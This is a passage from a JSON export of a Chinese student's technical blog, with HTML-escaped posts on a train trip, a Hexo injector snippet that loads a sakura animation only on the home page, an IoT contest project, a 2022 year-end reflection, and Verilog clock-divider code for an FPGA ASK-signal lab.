公益慢火车运转\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e群山如森海,慢车即航船。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这是2022年8月初的事情了,那会正值暑假,因为防控原因我在学校呆到7月底才回家,顺便去运转了一下这趟公益慢火车。当时运转时这趟车还是非空调车,现在已经更换车底,成为空调车了。刚好赶在换车底前完成了这一趟。全程下来,还是很有意思的。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e不过人是个懒狗,拖到这会才想起来写。后面想起来再更新。\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/54cd/"},{"title":"Hexo 注入器实践","time":"2023-04-04T20:39:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#Hexo-%E6%B3%A8%E5%85%A5%E5%99%A8%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e我博客首页飘的那个樱花看着花里胡哨,但是非常占用资源……而且因为是直接引进来的 \u003ccode\u003ejs\u003c/code\u003e ,所以每个页面都有这玩意,但是毕竟花里胡哨,也就对性能问题睁一只眼闭一只眼,刚才翻别人博客突然发现了注入器这个神奇玩意,于是问题解决了:只在首页显示樱花飘落的动画。\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://gishai.top/blog/posts/1563abd8.html\"\u003e基于hexo的fluid主题的魔改汇总 - GISHAI\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/advance/#hexo-%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81\"\u003e进阶用法 | Hexo Fluid 用户手册 (fluid-dev.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"具体实践\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#%E5%85%B7%E4%BD%93%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"具体实践\"\u003e\u003c/a\u003e具体实践\u003c/h2\u003e\u003cp\u003e在 \u003cstrong\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/\"\u003eHexo Fluid 用户手册\u003c/a\u003e\u003c/strong\u003e 中说的比较清楚了:注入器可以将 HTML 片段注入生成页面的 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 和 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 节点中,而且可以选择注入的页面类型(比如我首页的樱花我可以选择只注入首页)。\u003c/p\u003e\u003cp\u003e编写注入代码,需要在博客的根目录下创建 \u003ccode\u003escripts\u003c/code\u003e 文件夹,然后在里面任意命名创建一个 js 文件即可。\u003c/p\u003e\u003cp\u003e我创建了一个 \u003ccode\u003e/Hexo/scripts/yinghua.js\u003c/code\u003e 了一个文件,内容为:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003ehexo\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eextend\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einjector\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eregister\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;body_end\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;\u0026lt;script src=\u0026#34;//must.best/assets/js/flower.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;home\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e上述代码会在生成的页面 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 注入加载 \u003ccode\u003e//must.best/assets/js/flower.js\u003c/code\u003e 的代码。\u003c/p\u003e\u003cp\u003e这里发挥作用的是 \u003cstrong\u003e\u003ccode\u003eregister\u003c/code\u003e\u003c/strong\u003e 函数。\u003c/p\u003e\u003ch3 id=\"register-函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#register-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"register 函数\"\u003e\u003c/a\u003e\u003ccode\u003eregister\u003c/code\u003e 函数\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e 函数可接受三个参数。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第一个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第一个参数是\u003cstrong\u003e代码片段注入的位置\u003c/strong\u003e,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ehead_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 之后(默认)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehead_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/head\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 之后\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第二个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第二个参数是注入的片段,可以是字符串,也可以是一个返回值为字符串的函数。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第三个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第三个参数是注入的页面类型,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edefault\u003c/code\u003e: 注入到每个页面(默认值)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehome\u003c/code\u003e: 只注入到主页(\u003ccode\u003eis_home()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epost\u003c/code\u003e: 只注入到文章页面(\u003ccode\u003eis_post()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epage\u003c/code\u003e: 只注入到独立页面(\u003ccode\u003eis_page()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003earchive\u003c/code\u003e: 只注入到归档页面(\u003ccode\u003eis_archive()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecategory\u003c/code\u003e: 只注入到分类页面(\u003ccode\u003eis_category()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003etag\u003c/code\u003e: 只注入到标签页面(\u003ccode\u003eis_tag()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e或是其他自定义 layout 名称,例如在Fluid 主题中 \u003ccode\u003eabout\u003c/code\u003e 对应关于页、\u003ccode\u003elinks\u003c/code\u003e 对应友联页\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如上面我要樱花飘落的动画只在首页显示,所以选择 \u003ccode\u003ehome\u003c/code\u003e 这个参数。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/5eba/"},{"title":"【有方杯总结】一个物联网小项目","time":"2023-04-04T19:31:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1b10/#%E3%80%90%E6%9C%89%E6%96%B9%E6%9D%AF%E6%80%BB%E7%BB%93%E3%80%91%E4%B8%80%E4%B8%AA%E7%89%A9%E8%81%94%E7%BD%91%E5%B0%8F%E9%A1%B9%E7%9B%AE\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1b10/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e这次的项目其实是比较简单的。相对于大二那会做的广和通物联网项目来说,这次的项目算是比较有条理的做了下来,能理清楚各部分的关系,在编写的过程中不断学习实践,各类传感器的整合,数据上报,云端数据的流转……收获很多。\u003c/p\u003e\u003cp\u003e不过总的来说,这个项目是单片机收集了一些传感器的数据,然后通过 \u003ccode\u003e有方N58\u003c/code\u003e 通信模块上报阿里云物联网平台,进而展示在前端页面上。\u003c/p\u003e\u003cp\u003e想想之前做广和通的时候没搞清楚这些关系,先是在服务器上运行了一个 \u003ccode\u003ec-socket\u003c/code\u003e 脚本,然后用广和通物联网模块去连接这个脚本,之后脚本将接收到的数据写入文件。网页前端是不断访问这个文件进行页面展示数据的更改。走了很多弯路,而且很不稳定,每次断掉之后得等服务器上那个端口空闲之后才能再次运行脚本……这次使用了 \u003ccode\u003ewebsocket\u003c/code\u003e 与阿里云物联网平台,可以说是又稳又快,用 \u003ccode\u003ejs\u003c/code\u003e 处理数据也方便的多。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e用 \u003ccode\u003eC语言\u003c/code\u003e 处理字符串还是太折磨人了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e大概流程:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/2.png\"/\u003e\u003c/p\u003e\u003cp\u003e前端演示地址:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://neoway.ksfu.top/\"\u003ehttp://neoway.ksfu.top/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前端效果图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/1.jpg\"/\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e具体内容的起来再写~\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/1b10/"},{"title":"2022 年终\u0026期末总结","time":"2023-01-03T08:53:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/3ff3/#2022-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e奥德赛好长啊\u003c/del\u003e\u003c/p\u003e\u003cp\u003e去年还是太逆天了,不过终究是过来了。\u003c!--今年要准备考研了。--\u003e今年到目前来说还不错,追了很多场演唱会,也和同学组多参加了一些小比赛。不过压力也感觉大了起来,感觉自己现在也没啥技能,简历上没啥东西能写。学业上也不咋样。女朋友必然也是没有的(也没认识几个女生就是说。体重只能说保持的还不错。海浪会来,希望这学期的生活能冲淡去年的影响,等这学期大三总结和2022总结一起写吧。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/3ff3/"},{"title":"基于FPGA的ASK信号生成及测量分析技术-西电通院随机信号实验","time":"2022-11-04T19:55:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E5%9F%BA%E4%BA%8EFPGA%E7%9A%84ASK%E4%BF%A1%E5%8F%B7%E7%94%9F%E6%88%90%E5%8F%8A%E6%B5%8B%E9%87%8F%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/h1\u003e\u003cp\u003e) 随机信号实验选到了这个,就当学 \u003ccode\u003eVerilog\u003c/code\u003e 了。\u003c/p\u003e\u003cp\u003e(以下内容围绕西电通院随机信号实验:《基于FPGA的ASK信号生成及测量分析技术》展开。\u003c/p\u003e\u003ch2 id=\"模块框图\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%A8%A1%E5%9D%97%E6%A1%86%E5%9B%BE\" class=\"headerlink\" title=\"模块框图\"\u003e\u003c/a\u003e模块框图\u003c/h2\u003e\u003cp\u003e2ASK调制电路组成框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%B0%E5%BD%95.png\"/\u003e\u003cp\u003e2ASK调制的FPGA程序框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%A1%86%E5%9B%BE.png\"/\u003e\u003ch2 id=\"模块分解\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%A8%A1%E5%9D%97%E5%88%86%E8%A7%A3\" class=\"headerlink\" title=\"模块分解\"\u003e\u003c/a\u003e模块分解\u003c/h2\u003e\u003cp\u003e梳理一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e分频模块\u003c/li\u003e\u003cli\u003e载波产生模块\u003cul\u003e\u003cli\u003e八进制计数器\u003c/li\u003e\u003cli\u003eROM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003em序列产生模块\u003c/li\u003e\u003cli\u003e键控开关\u003c/li\u003e\u003cli\u003eDAC输出模块(给了)\u003c/li\u003e\u003cli\u003e拓展输出口(给了)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e所以需要编写5个模块。\u003c/p\u003e\u003ch3 id=\"1-分频模块设计\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#1-%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"1. 分频模块设计\"\u003e\u003c/a\u003e1. 分频模块设计\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2.1.1按原理2.1节设计分频器a(4分频、6分频、10分频等)将系统时钟sys_clk分频,作为载波产生模块的时钟,则载波频率为sys_clk/(分频值a*一个载波周期的存储点数n)(Hz)。(sys_clk=26MHz)\u003c/p\u003e\u003cp\u003e2.1.2按原理2.1节设计分频器b(分频值应设置为上步中a*n的整数倍)将系统时钟分频,作为m序列产生模块的时钟,则基带码元速率为sys_clk/b(bit/s)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以知道要设计两个分频模块,其中主频为 \u003cstrong\u003e26MHz\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e分频模块端口示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97.png\" style=\"zoom: 50%;\"/\u003e\u003cblockquote\u003e\u003cp\u003eclk端为系统时钟信号输入,从out8、out16、out256可分别得到系统时钟的8分频、16分频和256分频信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经历了一晚上的折磨,我终于悟出了:\u003cstrong\u003e所谓X分频,就是把时钟原来每一下变一次,变成现在是每X下变一次。\u003c/strong\u003e \u003cdel\u003e(有时候很明显的事情就是转不过来弯\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以就可以顺着这个思路编写 \u003ccode\u003efenpin.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e fenpin \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 所谓X分频,就是原来时钟是每一下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 现在是每X下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// lb(256) = 8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 折中计数到一半就行\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 8分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 16分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 256分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u